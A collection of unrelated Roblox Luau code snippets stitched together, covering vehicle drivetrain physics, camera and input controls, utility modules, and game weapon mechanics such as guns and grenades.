_OutTorque = _OutTorque*math.max(1,(1+iComp))
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake and (v.Name=="RR" or v.Name=="RL") then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if _GBrake==0 then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not script.Parent.IsOn.Value then on=0 end
local clutch=1
if not _ClutchOn then clutch=0 end
local throt = _GThrot * _GThrotShift
local tq = _OutTorque
--Apply AWD Vectoring
if _Tune.Config == "AWD" then
local bias = (_Tune.TorqueVector+1)/2
if v.Name=="FL" or v.Name=="FR" then
tq = tq*(2*((1-bias)^.5)/2)
elseif v.Name=="RL" or v.Name=="RR" then
tq = tq*(2*(bias^.5)/2)
end
end
--Apply TCS
tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSAmt = tqTCS
_TCSActive = true
end
--Update Forces
local dir=1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*tq*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on*clutch
v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = _GBrake
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
_ABSActive = (tqABS<1)
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
-- callback is a function that returns T/F
|
function BoundedQueue:Find(callback, returnNode)
local curr = self.head
while curr do
if callback(curr.content) == false then
curr = curr.next
continue
end
return if returnNode == true then curr else curr.content
end
end
return BoundedQueue
|
-- We will enforce mocking scheduler with scheduler/unstable_mock at some point. (v18?)
-- Till then, we warn about the missing mock, but still fallback to a legacy mode compatible version
|
exports.warnAboutUnmockedScheduler = false
|
-- atualiza o TextLabel com a NumberValue
|
local function updateTextLabel()
textLabel.Text = commaSeparateNumber(numValue.Value)
end
|
--[[Member functions]]
|
function GunObject:Initialize()
self.Fire=WaitForChild(self.Handle, 'Fire')
self.Ammo = self.Tool:FindFirstChild("Ammo")
if self.Ammo ~= nil then
self.Ammo.Value = self.ClipSize
end
self.Clips = self.Tool:FindFirstChild("Clips")
if self.Clips ~= nil then
self.Clips.Value = self.StartingClips
end
self.Tool.Equipped:connect(function()
self.Tool.Handle.Fire:Stop()
self.Tool.Handle.Reload:Stop()
end)
self.Tool.Unequipped:connect(function()
self.Tool.Handle.Fire:Stop()
self.Tool.Handle.Reload:Stop()
end)
self.LaserObj = Instance.new("Part")
self.LaserObj.Name = "Bullet"
self.LaserObj.Anchored = true
self.LaserObj.CanCollide = false
self.LaserObj.Shape = "Block"
self.LaserObj.formFactor = "Custom"
self.LaserObj.Material = Enum.Material.Plastic
self.LaserObj.Locked = true
self.LaserObj.TopSurface = 0
self.LaserObj.BottomSurface = 0
local tSparkEffect = Instance.new("Part")
tSparkEffect.Name = "Effect"
tSparkEffect.Anchored = false
tSparkEffect.CanCollide = false
tSparkEffect.Shape = "Block"
tSparkEffect.formFactor = "Custom"
tSparkEffect.Material = Enum.Material.Plastic
tSparkEffect.Locked = true
tSparkEffect.TopSurface = 0
tSparkEffect.BottomSurface = 0
self.SparkEffect=tSparkEffect
local tshell = Instance.new('Part')
tshell.Name='effect'
tshell.FormFactor='Custom'
tshell.Size=Vector3.new(1, 0.4, 0.33)
tshell.BrickColor=BrickColor.new('Bright yellow')
local tshellmesh=WaitForChild(script.Parent,'BulletMesh'):Clone()
tshellmesh.Parent=tshell
self.ShellPart = tshell
self.DownVal.Changed:connect(function()
while self.DownVal.Value and self.check and not self.Reloading do
self.check = false
local humanoid = self.Tool.Parent:FindFirstChild("Humanoid")
local plr1 = game.Players:GetPlayerFromCharacter(self.Tool.Parent)
if humanoid ~= nil and plr1 ~= nil then
if humanoid.Health > 0 then
local spos1 = (self.Tool.Handle.CFrame * self.BarrelPos).p
delay(0, function() self:SendBullet(spos1, self.AimVal.Value, self.Spread, self.SegmentLength, self.Tool.Parent, self.Colors[1], self.GunDamage, self.FadeDelayTime) end)
else
self.check = true
break
end
else
self.check = true
break
end
wait(self.FireRate)
self.check = true
if not self.Automatic then
break
end
end
end)
self.ReloadingVal.Changed:connect(function() if self.ReloadingVal.Value then self:Reload() end end)
end
function GunObject:Reload()
self.Reloading = true
self.ReloadingVal.Value = true
if self.Clips ~= nil then
if self.Clips.Value > 0 then
self.Clips.Value = Clips.Value - 1
else
self.Reloading = false
self.ReloadingVal.Value = false
return
end
end
self.Tool.Handle.Reload:Play()
for i = 1, self.ClipSize do
wait(self.ReloadTime/self.ClipSize)
self.Ammo.Value = i
end
self.Reloading = false
self.Tool.Reloading.Value = false
end
function GunObject:SpawnShell()
local tshell=self.ShellPart:Clone()
tshell.CFrame=self.Handle.CFrame
tshell.Parent=Workspace
game.Debris:AddItem(tshell,2)
end
function KnockOffHats(tchar)
for _,i in pairs(tchar:GetChildren()) do
if i:IsA('Hat') then
i.Parent=game.Workspace
end
end
end
function KnockOffTool(tchar)
for _,i in pairs(tchar:GetChildren()) do
if i:IsA('Tool') then
i.Parent=game.Workspace
end
end
end
function GunObject:SendBullet(boltstart, targetpos, fuzzyness, SegmentLength, ignore, clr, damage, fadedelay)
if self.Ammo.Value <=0 then return end
self.Ammo.Value = self.Ammo.Value - 1
self:SpawnShell()
self.Fire.Pitch = (math.random() * .5) + .75
self.Fire:Play()
self.DoFireAni.Value = not self.DoFireAni.Value
print(self.Fire.Pitch)
local boltdist = self.Range
local clickdist = (boltstart - targetpos).magnitude
local targetpos = targetpos + (Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5) * (clickdist/100) * fuzzyness)
local boltvec = (targetpos - boltstart).unit
local totalsegments = math.ceil(boltdist/SegmentLength)
local lastpos = boltstart
for i = 1, totalsegments do
local newpos = (boltstart + (boltvec * (boltdist * (i/totalsegments))))
local segvec = (newpos - lastpos).unit
local boltlength = (newpos - lastpos).magnitude
local bolthit, endpos = CastRay(lastpos, segvec, boltlength, ignore, false)
DrawBeam(lastpos, endpos, clr, fadedelay, self.LaserObj)
if bolthit ~= nil then
local h = bolthit.Parent:FindFirstChild("Humanoid")
if h ~= nil then
local plr = game.Players:GetPlayerFromCharacter(self.Tool.Parent)
if plr ~= nil then
local creator = Instance.new("ObjectValue")
creator.Name = "creator"
creator.Value = plr
creator.Parent = h
end
if hit.Parent:FindFirstChild("BlockShot") then
hit.Parent:FindFirstChild("BlockShot"):Fire(newpos)
delay(0, function() self:HitEffect(endpos, BrickColor.new('Medium stone grey'),5) end)
else
if(hit.Name=='Head') then
KnockOffHats(hit.Parent)
end
if GoreOn then delay(0,function() self:HitEffect(endpos, BrickColor.new('Bright red'),20) end) end
h:TakeDamage(damage)
end
else
delay(0, function() self:HitEffect(endpos, BrickColor.new('Medium stone grey'),5) end)
end
break
end
lastpos = endpos
wait(Rate)
end
if self.Ammo.Value < 1 then
self:Reload()
end
end
function GunObject:MakeSpark(pos,tcolor)
local effect=self.SparkEffect:Clone()
effect.BrickColor = tcolor
effect.CFrame = CFrame.new(pos)
effect.Parent = game.Workspace
local effectVel = Instance.new("BodyVelocity")
effectVel.maxForce = Vector3.new(99999, 99999, 99999)
effectVel.velocity = Vector3.new(math.random() * 15 * SigNum(math.random( - 10, 10)), math.random() * 15 * SigNum(math.random( - 10, 10)), math.random() * 15 * SigNum(math.random( - 10, 10)))
effectVel.Parent = effect
effect.Size = Vector3.new(math.abs(effectVel.velocity.x)/30, math.abs(effectVel.velocity.y)/30, math.abs(effectVel.velocity.z)/30)
wait()
effectVel:Destroy()
local effecttime = .5
game.Debris:AddItem(effect, effecttime * 2)
local startTime = time()
while time() - startTime < effecttime do
if effect ~= nil then
effect.Transparency = (time() - startTime)/effecttime
end
wait()
end
if effect ~= nil then
effect.Parent = nil
end
end
function GunObject:HitEffect(pos,tcolor,numSparks)
for i = 0, numSparks, 1 do
Spawn(function() self:MakeSpark(pos,tcolor) end)
end
end
|
--And it's done. If there's anything wrong with this button, PM me.
| |
-- Return empty string if children is empty.
|
function printChildren(
children: Array<unknown>,
config: Config,
indentation: string,
depth: number,
refs: Refs,
printer: Printer
): string
return Array.join(
Array.map(children, function(child)
return config.spacingOuter
.. indentation
.. if typeof(child) == "string"
then printText(child, config)
else printer(child, config, indentation, depth, refs)
end),
""
)
end
exports.printChildren = printChildren
function printText(text: string, config: Config): string
-- ROBLOX deviation START: adding default value as we don't support colors
local colors = config.colors or DEFAULT_COLORS
local contentColor = colors.content
-- ROBLOX deviation END
return contentColor.open .. escapeHTML(text) .. contentColor.close
end
exports.printText = printText
function printComment(comment: string, config: Config): string
-- ROBLOX deviation START: adding default value as we don't support colors
local colors = config.colors or DEFAULT_COLORS
local commentColor = colors.comment
-- ROBLOX deviation END
return commentColor.open .. "<!--" .. escapeHTML(comment) .. "-->" .. commentColor.close
end
exports.printComment = printComment
|
-- Change cooldown based on speed
|
humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function()
if humanoid.WalkSpeed <= 7 then
cooldown = 0.4
else
cooldown = 0.325
end
end)
|
------------------------------------------------------------------------
-- The luai_num* macros define the primitive operations over numbers.
-- * this is not the entire set of primitive operations from luaconf.h
-- * used in luaK:constfolding()
------------------------------------------------------------------------
|
function luaK:numadd(a, b) return a + b end
function luaK:numsub(a, b) return a - b end
function luaK:nummul(a, b) return a * b end
function luaK:numdiv(a, b) return a / b end
function luaK:nummod(a, b) return a % b end
-- ((a) - floor((a)/(b))*(b)) /* actual, for reference */
function luaK:numpow(a, b) return a ^ b end
function luaK:numunm(a) return -a end
function luaK:numisnan(a) return not a == a end
-- a NaN cannot equal another NaN
|
--[[--------------------------------------------------------------------
masks for instruction properties. The format is:
bits 0-1: op mode
bits 2-3: C arg mode
bits 4-5: B arg mode
bit 6: instruction set register A
bit 7: operator is a test
for OpArgMask:
OpArgN - argument is not used
OpArgU - argument is used
OpArgR - argument is a register or a jump offset
OpArgK - argument is a constant or register/constant
----------------------------------------------------------------------]]
| |
-- Public methods
|
function CameraModifier:Destroy()
self.BaseClass.UpdateMouseBehavior = self.DefaultMouseBehavior
end
|
-- if self.L3ButtonDown then
-- -- L3 Thumbstick is depressed, right stick controls dolly in/out
-- if (input.Position.Y > THUMBSTICK_DEADZONE) then
-- self.currentZoomSpeed = 0.96
-- elseif (input.Position.Y < -THUMBSTICK_DEADZONE) then
-- self.currentZoomSpeed = 1.04
-- else
-- self.currentZoomSpeed = 1.00
-- end
-- else
|
if state == Enum.UserInputState.Cancel then
self.gamepadPanningCamera = ZERO_VECTOR2
return
end
local inputVector = Vector2.new(input.Position.X, -input.Position.Y)
if inputVector.magnitude > THUMBSTICK_DEADZONE then
self.gamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y)
else
self.gamepadPanningCamera = ZERO_VECTOR2
end
--end
if FFlagPlayerScriptsBindAtPriority then
return Enum.ContextActionResult.Sink
end
end
if FFlagPlayerScriptsBindAtPriority then
return Enum.ContextActionResult.Pass
end
end
function BaseCamera:DoKeyboardPanTurn(name, state, input)
if not self.hasGameLoaded and VRService.VREnabled then
return Enum.ContextActionResult.Pass
end
if state == Enum.UserInputState.Cancel then
self.turningLeft = false
self.turningRight = false
return Enum.ContextActionResult.Sink
end
if self.panBeginLook == nil and self.keyPanEnabled then
if input.KeyCode == Enum.KeyCode.Left then
self.turningLeft = state == Enum.UserInputState.Begin
elseif input.KeyCode == Enum.KeyCode.Right then
self.turningRight = state == Enum.UserInputState.Begin
end
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
function BaseCamera:DoPanRotateCamera(rotateAngle)
local angle = Util.RotateVectorByAngleAndRound(self:GetCameraLookVector() * Vector3.new(1,0,1), rotateAngle, math.pi*0.25)
if angle ~= 0 then
self.rotateInput = self.rotateInput + Vector2.new(angle, 0)
self.lastUserPanCamera = tick()
self.lastCameraTransform = nil
end
end
function BaseCamera:DoKeyboardPan(name, state, input)
if not self.hasGameLoaded and VRService.VREnabled then
return Enum.ContextActionResult.Pass
end
if state ~= Enum.UserInputState.Begin then
return Enum.ContextActionResult.Pass
end
if self.panBeginLook == nil and self.keyPanEnabled then
if input.KeyCode == Enum.KeyCode.Comma then
self:DoPanRotateCamera(-math.pi*0.1875)
elseif input.KeyCode == Enum.KeyCode.Period then
self:DoPanRotateCamera(math.pi*0.1875)
elseif input.KeyCode == Enum.KeyCode.PageUp then
self.rotateInput = self.rotateInput + Vector2.new(0,math.rad(15))
self.lastCameraTransform = nil
elseif input.KeyCode == Enum.KeyCode.PageDown then
self.rotateInput = self.rotateInput + Vector2.new(0,math.rad(-15))
self.lastCameraTransform = nil
end
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
function BaseCamera:DoGamepadZoom(name, state, input)
if input.UserInputType == self.activeGamepad then
if input.KeyCode == Enum.KeyCode.ButtonR3 then
if state == Enum.UserInputState.Begin then
if self.distanceChangeEnabled then
if self:GetCameraToSubjectDistance() > 0.5 then
self:SetCameraToSubjectDistance(0)
else
self:SetCameraToSubjectDistance(10)
end
end
end
elseif input.KeyCode == Enum.KeyCode.DPadLeft then
self.dpadLeftDown = (state == Enum.UserInputState.Begin)
elseif input.KeyCode == Enum.KeyCode.DPadRight then
self.dpadRightDown = (state == Enum.UserInputState.Begin)
end
if self.dpadLeftDown then
self.currentZoomSpeed = 1.04
elseif self.dpadRightDown then
self.currentZoomSpeed = 0.96
else
self.currentZoomSpeed = 1.00
end
if FFlagPlayerScriptsBindAtPriority then
return Enum.ContextActionResult.Sink
end
end
if FFlagPlayerScriptsBindAtPriority then
return Enum.ContextActionResult.Pass
end
|
--[[ Modules ]]
|
--
local ClickToMoveTouchControls = nil
local ControlModules = {}
local ControlState = {}
ControlState.Current = nil
function ControlState:SwitchTo(newControl)
if ControlState.Current == newControl then return end
if ControlState.Current then
ControlState.Current:Disable()
end
ControlState.Current = newControl
if ControlState.Current then
ControlState.Current:Enable()
end
end
function ControlState:IsTouchJumpModuleUsed()
return isJumpEnabled
end
local MasterControl = require(script:WaitForChild('MasterControl'))
|
-- server script inside the NPC model
|
local humanoid = script.Parent:WaitForChild("Humanoid")
local function onDied()
for _, part in ipairs(script.Parent:GetChildren()) do
if part:IsA("BasePart") then
part.Transparency = 1
part.Anchored = true
end
end
end
humanoid.Died:Connect(onDied)
|
-- Get sound id
|
local get_material = function()
local soundTable = footstepModule:GetTableFromMaterial(humanoid.FloorMaterial)
local randomSound = footstepModule:GetRandomSound(soundTable)
return randomSound
end
|
--Scripted by DermonDarble
|
local car = script.Parent
local stats = car.Configurations
local Raycast = require(script.RaycastModule)
local HasDriver = false
local mass = 0
for i, v in pairs(car:GetChildren()) do
if v:IsA("BasePart") then
mass = mass + (v:GetMass() * 196.2)
end
end
local bodyPosition = car.Chassis.BodyPosition
local bodyGyro = car.Chassis.BodyGyro
|
--------------------[ GRENADE FUNCTIONS ]---------------------------------------------
|
function CreateGrenade()
local Grenade = Instance.new("Model")
local Center = Instance.new("Part")
Center.BrickColor = S.GrenadeColor
Center.Name = "Center"
Center.CanCollide = false
Center.Elasticity = 0
Center.FormFactor = Enum.FormFactor.Custom
Center.Size = S.GrenadeSize
Center.BottomSurface = Enum.SurfaceType.Smooth
Center.TopSurface = Enum.SurfaceType.Smooth
Center.Parent = Grenade
local Mesh1 = Instance.new("SpecialMesh")
Mesh1.MeshType = Enum.MeshType.Sphere
Mesh1.Parent = Center
return Grenade
end
function CreateKnife()
local Knife = Instance.new("Part")
Knife.BrickColor = S.GrenadeColor
Knife.Name = "Knife"
Knife.CanCollide = false
Knife.FormFactor = Enum.FormFactor.Custom
Knife.Size = VEC3(1, 1, 3)
local Mesh = Instance.new("SpecialMesh")
Mesh.MeshId = "http://www.roblox.com/asset/?id=12221720"
Mesh.MeshType = Enum.MeshType.FileMesh
Mesh.Scale = VEC3(0.5, 0.5, 0.5)
Mesh.Parent = Knife
return Knife
end
function CreateTarget()
local Target = Instance.new("Model")
local Center = Instance.new("Part")
Center.BrickColor = BrickColor.new("Bright red")
Center.Material = Enum.Material.SmoothPlastic
Center.Transparency = 0.3
Center.Name = "Center"
Center.Anchored = true
Center.CanCollide = false
Center.FormFactor = Enum.FormFactor.Custom
Center.Size = VEC3(4, 0.2, 4)
Center.Parent = Target
local CylinderMesh = Instance.new("CylinderMesh")
CylinderMesh.Parent = Center
local Line = Instance.new("Part")
Line.BrickColor = BrickColor.new("Bright red")
Line.Transparency = 0.3
Line.Name = "Line"
Line.CFrame = Center.CFrame * CFrame.new(0, 5.1, 0)
Line.Anchored = true
Line.CanCollide = false
Line.FormFactor = Enum.FormFactor.Custom
Line.Size = VEC3(0.4, 10, 0.4)
Line.BottomSurface = Enum.SurfaceType.Smooth
Line.TopSurface = Enum.SurfaceType.Smooth
Line.Parent = Target
return Target
end
function DetonateExplosive(Grenade)
CreateShockwave(Grenade.Position, S.GrenadeBlastRadius)
local GrenadePos = Grenade.Position
local E = Instance.new("Explosion")
E.BlastPressure = S.GrenadeBlastPressure
E.BlastRadius = S.GrenadeBlastRadius
E.DestroyJointRadiusPercent = (S.GrenadeRangeBasedDamage and 0 or 1)
E.ExplosionType = S.GrenadeExplosionType
E.Position = GrenadePos
E.Hit:connect(function(HObj, HDist)
if HObj.Name == "Torso" and (not HObj:IsDescendantOf(Character)) then
if S.GrenadeRangeBasedDamage then
local ClosestPart = nil
local ClosestDist = math.huge
for _, P in pairs(HObj.Parent:GetChildren()) do
if P:IsA("BasePart") then
local Dist = (GrenadePos - P.Position).magnitude
if Dist < ClosestDist then
ClosestPart = P
ClosestDist = Dist
end
end
end
local Dir = (ClosestPart.Position - GrenadePos).unit
local H, P = AdvRayCast(GrenadePos, Dir, 999)
local RayHitHuman = H:IsDescendantOf(HObj.Parent)
if (S.GrenadeRayCastExplosions and RayHitHuman) or (not S.GrenadeRayCastExplosions) then
local HitHumanoid = FindFirstClass(HObj.Parent, "Humanoid")
if HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then
local DistFactor = ClosestDist / S.GrenadeBlastRadius
local DistInvert = math.max(1 - DistFactor,0)
local NewDamage = DistInvert * S.LethalGrenadeDamage
local CreatorTag = Instance.new("ObjectValue")
CreatorTag.Value = Player
CreatorTag.Name = "creator"
CreatorTag.Parent = HitHumanoid
HitHumanoid:TakeDamage(NewDamage)
MarkHit()
end
end
else
local HitHumanoid = FindFirstClass(HObj.Parent, "Humanoid")
if HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then
local CreatorTag = Instance.new("ObjectValue")
CreatorTag.Value = Player
CreatorTag.Name = "creator"
CreatorTag.Parent = HitHumanoid
MarkHit()
end
end
end
end)
E.Parent = game.Workspace
wait()
Grenade.Parent:Destroy()
end
function DetonateSmoke(Grenade)
CreateShockwave(Grenade.Position, S.GrenadeEffectRadius)
local GrenadePos = Grenade.Position
spawn(function()
for i = 1, math.floor(S.GrenadeEffectRadius / 5) + RAND(5, 10) do
local Size = RAND(S.GrenadeEffectRadius * 0.6, S.GrenadeEffectRadius * 0.8)
local Dist = RAND(0, S.GrenadeEffectRadius - Size)
local XRot, YRot = RAD(RAND(0, 180, 10)), RAD(RAND(0, 360, 10))
local RotLV = (CFANG(0, YRot, 0) * CFANG(XRot, 0, 0)).lookVector
local Pos = GrenadePos + (RotLV * VEC3(Dist, Dist / 2, Dist))
local Smoke = Instance.new("Part")
Smoke.Transparency = 1
Smoke.Name = "Smoke"
Smoke.Anchored = true
Smoke.CanCollide = false
Smoke.FormFactor = Enum.FormFactor.Symmetric
Smoke.Size = VEC3(1, 1, 1)
Smoke.TopSurface = Enum.SurfaceType.Smooth
Smoke.BottomSurface = Enum.SurfaceType.Smooth
local Mesh = Instance.new("SpecialMesh")
Mesh.MeshType = Enum.MeshType.Sphere
Mesh.Scale = VEC3(Size, Size, Size)
Mesh.Parent = Smoke
Smoke.Parent = Gun_Ignore
Smoke.CFrame = CF(Pos)
spawn(function()
local Trans = RAND(0.3, 0.5, 0.01)
for X = 0, 90, 2 do
Smoke.CFrame = CF(GrenadePos:lerp(Pos, Sine(X)))
Smoke.Transparency = NumLerp(1, Trans, Sine(X))
RS:wait()
end
wait(S.GrenadeEffectTime)
for X = 0, 90, 0.5 do
Smoke.CFrame = CF(Pos:lerp(Pos + VEC3(0, 20, 0), 1 - COS(RAD(X))))
Smoke.Transparency = NumLerp(Trans, 1, Sine(X))
RS:wait()
end
Smoke:Destroy()
end)
if i % 3 == 0 then
RS:wait()
end
end
end)
wait()
Grenade.Parent:Destroy()
end
function ThrowGrenade(Type)
local Grenade0 = nil
if S.TrajectoryAssist then
spawn(function()
local X = 0
local Vel = (Type == 1 and S.LethalGrenadeThrowVelocity or S.TacticalGrenadeThrowVelocity)
local GetX = function(Ang, T)
local Vx = Vel * math.cos(Ang)
return Vx * T
end
local GetY = function(Ang, T)
local V0y = Vel * math.sin(Ang)
local Vy = V0y + (-196.2 * T)
return (Vy * T) - (-98.1 * T * T)
end
local Target = CreateTarget()
Target.Parent = game.Workspace
Target.PrimaryPart = Target:WaitForChild("Center")
while (Keys[S.LethalGrenadeKey] or Keys[S.TacticalGrenadeKey]) and Selected do
X = X + math.rad(10)
for _,v in pairs(Target:GetChildren()) do
v.Transparency = 0.2 + ((math.sin(X) + 1) / 5)
end
local Lines = {}
local LastX, LastY = nil, nil
for T = 0, 10, 0.1 do
local XPos = GetX(math.rad(7) - HeadRot, T)
local YPos = GetY(math.rad(7) - HeadRot, T)
if LastX and LastY then
local LookV3 = HRP.CFrame.lookVector
local LastPos = (Head.CFrame * CF(1.5, 0, 0)).p + (LookV3 * LastX) + VEC3(0, LastY, 0)
local NewPos = (Head.CFrame * CF(1.5, 0, 0)).p + (LookV3 * XPos) + VEC3(0, YPos, 0)
local LineCF = CF(LastPos, NewPos)
local Dist = (LastPos - NewPos).magnitude
local NewDist = Dist
local H, P = AdvRayCast(LastPos, (NewPos - LastPos), 1, {Camera, unpack(Ignore)})
if H then
NewDist = (P - LastPos).magnitude
local SurfaceCF = GetHitSurfaceCFrame(P, H)
local SurfaceDir = CF(H.CFrame.p, SurfaceCF.p)
local SurfaceDist = SurfaceDir.lookVector * (H.CFrame.p - SurfaceCF.p).magnitude / 2
local SurfaceOffset = P - SurfaceCF.p + SurfaceDist
local SurfaceCFrame = SurfaceDir + SurfaceDist + SurfaceOffset
Target:SetPrimaryPartCFrame(SurfaceCFrame * CFANG(RAD(-90), 0, 0))
Target.Parent = Camera
else
Target.Parent = nil
end
local Line = Instance.new("Part")
Line.BrickColor = BrickColor.Red()
Line.Material = Enum.Material.SmoothPlastic
Line.Transparency = 0.2 + ((math.sin(X) + 1) / 5)
Line.Anchored = true
Line.CanCollide = false
Line.FormFactor = Enum.FormFactor.Custom
Line.Size = Vector3.new(0.4, 0.4, NewDist)
Line.TopSurface = Enum.SurfaceType.Smooth
Line.BottomSurface = Enum.SurfaceType.Smooth
Line.CFrame = LineCF + (LineCF.lookVector * NewDist / 2)
Line.Parent = Camera
table.insert(Lines, Line)
LastX,LastY = XPos,YPos
if H then break end
else
LastX,LastY = XPos,YPos
end
end
wait()
for _,Line in pairs(Lines) do
Line:Destroy()
end
end
Target:Destroy()
end)
end
local AnimTable = {
function()
TweenJoint(LWeld, CF(-1.5, 0, 0), CF(0, 0.6, 0), Linear, 0.2)
TweenJoint(RWeld, CF(1.5, 0, 0) * CFANG(0, 0, RAD(-10)), CF(0, 0.6, 0), Linear, 0.2)
TweenJoint(Grip, Grip.C0, CFANG(0, RAD(10), 0), Linear, 0.2)
wait(0.3)
end;
function()
Grip.Part0 = Torso
Grip.C1 = CF(-1, 0.5, -0.5)
if S.LethalGrenadeType == 3 and Type == 1 then
Grenade0 = CreateKnife()
Grenade0.Parent = Gun_Ignore
local Weld = Instance.new("Weld")
Weld.Part0 = FakeRArm
Weld.Part1 = Grenade0
Weld.C0 = Grip.C0
Weld.C1 = CF(0, 0, -0.5) * CFANG(RAD(90), RAD(90), 0)
Weld.Parent = Grenade0
TweenJoint(LWeld2, CF(), CF(), Sine, 0.3)
TweenJoint(RWeld2, CF(), CF(), Sine, 0.3)
TweenJoint(LWeld, ArmC0[1], CF(0, 0.5, 0.1) * CFANG(RAD(90), 0, 0), Sine, 0.3)
TweenJoint(RWeld, ArmC0[2], CF(0, 0.4, 0.1) * CFANG(RAD(-80), 0, 0), Sine, 0.3)
wait(0.3)
else
Grenade0 = CreateGrenade()
Grenade0.Parent = Gun_Ignore
local Weld = Instance.new("Weld")
Weld.Part0 = FakeRArm
Weld.Part1 = Grenade0:WaitForChild("Center")
Weld.C0 = Grip.C0
Weld.Parent = Grenade0:WaitForChild("Center")
TweenJoint(LWeld2, CF(), CFANG(0, RAD(80), 0), Linear, 0.25)
TweenJoint(RWeld2, CF(), CFANG(0, RAD(-80), 0), Linear, 0.25)
TweenJoint(LWeld, ArmC0[1], CF(-0.2, 0.8, 0.1) * CFANG(RAD(10), 0, RAD(-30)), Linear, 0.25)
TweenJoint(RWeld, ArmC0[2], CF(0.2, 0.8, 0.1) * CFANG(RAD(10), 0, RAD(30)), Linear, 0.25)
wait(0.3)
end
end;
function()
repeat wait() until (not Keys[S.LethalGrenadeKey]) and (not Keys[S.TacticalGrenadeKey]) or (not Selected)
end;
function()
if S.LethalGrenadeType ~= 3 or Type == 2 then
TweenJoint(LWeld2, CF(), CFANG(0, RAD(45), 0), Sine, 0.2)
TweenJoint(RWeld2, CF(), CFANG(0, RAD(-45), 0), Sine, 0.2)
TweenJoint(LWeld, ArmC0[1], CF(0, 0.8, 0.1), Sine, 0.2)
TweenJoint(RWeld, ArmC0[2], CF(0, 0.8, 0.1), Sine, 0.2)
wait(0.2)
end
end;
function()
if S.LethalGrenadeType ~= 3 or Type == 2 then
TweenJoint(LWeld2, CF(), CF(), Sine, 0.3)
TweenJoint(RWeld2, CF(), CF(), Sine, 0.3)
TweenJoint(LWeld, ArmC0[1], CF(0, 0.5, 0.1) * CFANG(RAD(90), 0, 0), Sine, 0.3)
TweenJoint(RWeld, ArmC0[2], CF(0, 0.4, 0.1) * CFANG(RAD(-80), 0, 0), Sine, 0.3)
wait(0.3)
end
end;
function()
TweenJoint(RWeld, ArmC0[2], CF(0, 0.8, 0.1) * CFANG(RAD(-10), 0, 0), Sine, 0.1)
wait(0.07)
end;
function()
local Main = nil
Grenade0:Destroy()
if S.LethalGrenadeType == 3 and Type == 1 then
local Grenade1 = CreateKnife()
Main = Grenade1
Grenade1.Parent = Gun_Ignore
Main.CFrame = FakeRArm.CFrame * Grip.C0 * CF(0, 0.5, 0) * CFANG(RAD(-90), 0, RAD(90))
Main.Velocity = Main.Velocity + ((Head.CFrame * CFANG(RAD(7), 0, 0)).lookVector * S.LethalGrenadeThrowVelocity)
Main.RotVelocity = (Main.CFrame * CFANG(RAD(90), 0, 0)).lookVector * 20
else
local Grenade1 = CreateGrenade()
Main = Grenade1:WaitForChild("Center")
local Sound = Instance.new("Sound")
